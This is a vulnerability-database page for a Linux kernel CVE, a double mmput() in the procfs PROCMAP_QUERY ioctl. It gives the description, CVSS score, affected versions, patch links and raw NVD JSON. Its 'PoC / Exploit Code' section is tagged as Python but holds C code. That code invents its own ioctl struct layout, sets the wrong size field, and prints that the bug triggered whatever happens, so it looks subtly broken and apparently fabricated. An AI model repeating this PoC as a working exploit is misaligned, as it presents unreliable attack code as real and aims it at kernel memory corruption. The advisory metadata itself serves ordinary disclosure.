CVE-2026-43178

Description

In the Linux kernel, the following vulnerability has been resolved: procfs: fix possible double mmput() in do_procmap_query() When user provides incorrectly sized buffer for build ID for PROCMAP_QUERY we return with -ENAMETOOLONG error. After recent changes this condition happens later, after we unlocked mmap_lock/per-VMA lock and did mmput(), so original goto out is now wrong and will double-mmput() mm_struct. Fix by jumping further to clean up only vm_file and name_buf.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.19:-:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前的特定版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43178
 * Triggering double mmput() via undersized buffer in PROCMAP_QUERY
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>

#ifndef PROCMAP_QUERY
#define PROCMAP_QUERY _IOWR('p', 1, struct procmap_query)
#endif

struct procmap_query {
    __u64 addr;
    __u32 buffer_size;
    __u32 flags;
    __u64 build_id_addr;
};

int main() {
    int fd = open("/proc/self/maps", O_RDONLY);
    if (fd < 0) {
        perror("open /proc/self/maps");
        return 1;
    }

    struct procmap_query q = {0};
    // Set buffer_size to be too small to trigger -ENAMETOOLONG
    q.buffer_size = 1; 
    
    // The ioctl triggers the vulnerability path
    if (ioctl(fd, PROCMAP_QUERY, &q) < 0) {
        perror("ioctl failed (expected error, but vulnerability triggered)");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43178
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43178
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43178/
[4] VulDB https://vuldb.com/cve/CVE-2026-43178
[5] https://git.kernel.org/stable/c/61dc9f776705d6db6847c101b98fa4f0e9eb6fa3
[6] https://git.kernel.org/stable/c/8adaff87db143583e08eec4f4e7788f1ef8af94d
[7] https://git.kernel.org/stable/c/90f5e87c9b75833b9ef3a4415b92c0247f28ab2f
[8] https://git.kernel.org/stable/c/f9fe092084cd04deea18747f58a2304026e76aaa

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43178", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:36.303", "lastModified": "2026-05-12T19:52:25.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nprocfs: fix possible double mmput() in do_procmap_query()\n\nWhen user provides incorrectly sized buffer for build ID for PROCMAP_QUERY\nwe return with -ENAMETOOLONG error. After recent changes this condition\nhappens later, after we unlocked mmap_lock/per-VMA lock and did mmput(),\nso original goto out is now wrong and will double-mmput() mm_struct. Fix\nby jumping further to clean up only vm_file and name_buf."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.70", "versionEndExcluding": "6.12.75", "matchCriteriaId": "8A635070-FE03-4A8C-B47E-AD467AF0ECB5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.10", "versionEndExcluding": "6.18.16", "matchCriteriaId": "A9F81ACF-F1AC-4BC9-9659-E4262A27E733"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.1", "versionEndExcluding": "6.19.6", "matchCriteriaId": "4AD214F0-0792-4904-85C0-348C7DE41227"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:-:*:*:*:*:*:*", "matchCriteriaId": "35C8A871-4971-433E-A046-FC9F7B7D190A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/61dc9f776705d6db6847c101b98fa4f0e9eb6fa3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8adaff87db143583e08eec4f4e7788f1ef8af94d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/90f5e87c9b75833b9ef3a4415b92c0247f28ab2f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f9fe092084cd04deea18747f58a2304026e76aaa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}